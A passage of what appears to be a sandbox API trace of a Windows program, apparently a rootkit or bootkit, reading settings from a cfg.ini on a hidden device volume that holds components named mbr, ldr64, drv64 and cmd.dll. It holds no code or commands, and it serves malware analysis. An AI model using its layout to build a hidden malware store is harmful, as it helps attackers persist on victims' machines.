VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.823] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.823] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.823] IdePortDispatch () returned 0x103 [0123.823] KeWaitForMutexObject () returned 0x0 [0123.823] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.823] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.823] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.823] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.823] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.823] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.823] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.823] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.823] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.823] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.823] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.823] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.824] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.824] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.824] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.824] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.824] KeLeaveCriticalRegion () [0123.824] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.824] ReleaseMutex (hMutex=0x100) returned 1 [0123.824] Sleep (dwMilliseconds=0x2bf20) [0123.830] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d017a90, dwHighDateTime=0x1d24fa4)) [0123.830] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.830] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.830] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.830] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.830] KeEnterCriticalRegion () [0123.830] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.830] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.830] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0123.830] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.830] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.830] IdePortDispatch () returned 0x103 [0123.830] KeWaitForMutexObject () returned 0x0 [0123.831] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.831] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.831] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.831] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.831] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.831] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003baa3b0 [0123.831] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.831] KeLeaveCriticalRegion () [0123.831] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.831] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.831] KeEnterCriticalRegion () [0123.831] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.831] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0123.831] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.831] KeLeaveCriticalRegion () [0123.831] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.831] KeEnterCriticalRegion () [0123.831] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.831] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.831] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0123.831] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.831] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.831] IdePortDispatch () returned 0x103 [0123.831] KeWaitForMutexObject () returned 0x0 [0123.831] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.831] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.831] KeLeaveCriticalRegion () [0123.831] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.831] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.831] KeEnterCriticalRegion () [0123.831] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.831] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d44000 [0123.831] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.831] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0123.831] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.831] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.831] IdePortDispatch () returned 0x103 [0123.832] KeWaitForMutexObject () returned 0x0 [0123.832] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.832] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.832] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0123.832] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.832] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.832] IdePortDispatch () returned 0x103 [0123.832] KeWaitForMutexObject () returned 0x0 [0123.832] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.832] KeLeaveCriticalRegion () [0123.832] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.832] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.832] KeEnterCriticalRegion () [0123.832] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.833] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0123.833] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.833] KeLeaveCriticalRegion () [0123.833] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.833] KeEnterCriticalRegion () [0123.833] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.833] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0123.833] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beeb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.833] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.833] KeLeaveCriticalRegion () [0123.833] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.833] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.833] KeEnterCriticalRegion () [0123.833] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.833] ExFreePoolWithTag (P=0xfffffa8003baa3b0, Tag=0x0) [0123.833] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.833] KeLeaveCriticalRegion () [0123.833] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.833] ReleaseMutex (hMutex=0xf0) returned 1 [0123.833] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.833] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.833] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.833] KeEnterCriticalRegion () [0123.833] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.833] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.833] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0123.833] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.833] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.833] IdePortDispatch () returned 0x103 [0123.833] KeWaitForMutexObject () returned 0x0 [0123.833] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.833] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.833] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.833] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.833] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.833] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beda50 [0123.833] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.834] KeLeaveCriticalRegion () [0123.834] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.834] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.834] KeEnterCriticalRegion () [0123.834] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.834] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0123.834] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.834] KeLeaveCriticalRegion () [0123.834] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.834] KeEnterCriticalRegion () [0123.834] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.834] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.834] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0123.834] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.834] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.834] IdePortDispatch () returned 0x103 [0123.834] KeWaitForMutexObject () returned 0x0 [0123.834] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.834] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.834] KeLeaveCriticalRegion () [0123.834] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.834] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.834] KeEnterCriticalRegion () [0123.834] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.834] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d45000 [0123.834] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.834] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0123.834] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.834] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.834] IdePortDispatch () returned 0x103 [0123.834] KeWaitForMutexObject () returned 0x0 [0123.835] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.835] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.835] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0123.835] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.835] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.835] IdePortDispatch () returned 0x103 [0123.835] KeWaitForMutexObject () returned 0x0 [0123.835] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.835] KeLeaveCriticalRegion () [0123.835] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.835] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.835] KeEnterCriticalRegion () [0123.835] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.835] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0123.835] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.835] KeLeaveCriticalRegion () [0123.835] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.836] KeEnterCriticalRegion () [0123.836] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.836] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0123.836] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb3b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.836] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.836] KeLeaveCriticalRegion () [0123.836] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.836] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.836] KeEnterCriticalRegion () [0123.836] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.836] ExFreePoolWithTag (P=0xfffffa8003beda50, Tag=0x0) [0123.836] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.836] KeLeaveCriticalRegion () [0123.836] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.836] ReleaseMutex (hMutex=0xf0) returned 1 [0123.836] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.836] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.836] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.836] KeEnterCriticalRegion () [0123.836] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.836] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.836] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0123.836] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.836] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.836] IdePortDispatch () returned 0x103 [0123.836] KeWaitForMutexObject () returned 0x0 [0123.836] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.836] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.836] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.836] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.836] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.836] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bedeb0 [0123.836] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.836] KeLeaveCriticalRegion () [0123.836] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.836] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.836] KeEnterCriticalRegion () [0123.837] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.837] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0123.837] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.837] KeLeaveCriticalRegion () [0123.837] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.837] KeEnterCriticalRegion () [0123.837] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.837] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.837] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0123.837] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.837] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.837] IdePortDispatch () returned 0x103 [0123.837] KeWaitForMutexObject () returned 0x0 [0123.837] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.837] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.837] KeLeaveCriticalRegion () [0123.837] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.837] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.837] KeEnterCriticalRegion () [0123.837] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.837] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d46000 [0123.837] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.837] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0123.837] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.837] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.837] IdePortDispatch () returned 0x103 [0123.837] KeWaitForMutexObject () returned 0x0 [0123.837] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.837] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.837] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0123.838] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.838] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.838] IdePortDispatch () returned 0x103 [0123.838] KeWaitForMutexObject () returned 0x0 [0123.838] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.838] KeLeaveCriticalRegion () [0123.838] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.838] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.838] KeEnterCriticalRegion () [0123.838] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.838] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0123.838] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.838] KeLeaveCriticalRegion () [0123.838] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.838] KeEnterCriticalRegion () [0123.838] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.838] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0123.838] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bed200, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.838] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.838] KeLeaveCriticalRegion () [0123.838] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.838] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.839] KeEnterCriticalRegion () [0123.839] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.839] ExFreePoolWithTag (P=0xfffffa8003bedeb0, Tag=0x0) [0123.839] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.839] KeLeaveCriticalRegion () [0123.839] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.839] ReleaseMutex (hMutex=0xf0) returned 1 [0123.839] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.839] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.839] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 